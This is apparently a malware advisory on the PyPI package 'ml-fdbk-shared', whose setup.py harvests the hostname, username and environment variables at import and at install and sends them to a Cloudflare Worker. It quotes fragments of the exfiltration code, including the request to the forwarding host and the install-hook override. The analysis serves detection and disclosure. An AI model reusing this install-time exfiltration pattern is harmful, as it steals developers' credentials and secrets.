GCVE-110-OSM-2026-9418

This package implements a classic supply-chain exfiltration attack: setup.py defines an `analytics()` function that collects hostname, username, current working directory, and the full environment variables (`dict(os.environ)`), then POSTs them as JSON to a Cloudflare Worker acting as a data forwarding proxy. The function is called both at module load time (bare `analytics()` call at module scope) and again inside a `PostInstallCommand` override, ensuring exfiltration fires on both direct execution and pip install. The author `adamintigrititest` with zero other packages and the nonsensical package name `ml-fdbk-shared` are consistent with a throwaway burner account used for a dependency confusion or typosquatting attack. The attacker model is credential/environment harvesting on install, with the Cloudflare Worker obscuring the final destination of the stolen data. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py EXFIL - Python File Upload to Remote in setup.py: "urllib.request.Request( "https://request-forwarder.a-d-a-m.workers.dev/", data=" - Data Encoding for Exfiltration in setup.py: "json.dumps(data).encode" - Network Request in setup.py: "Request( "https:" - System Information Collection in setup.py: "socket.gethostname()" ADDITIONAL FINDINGS - Setup.py Command Override in setup.py: "cmdclass={"install"" PAYLOAD FILES setup.py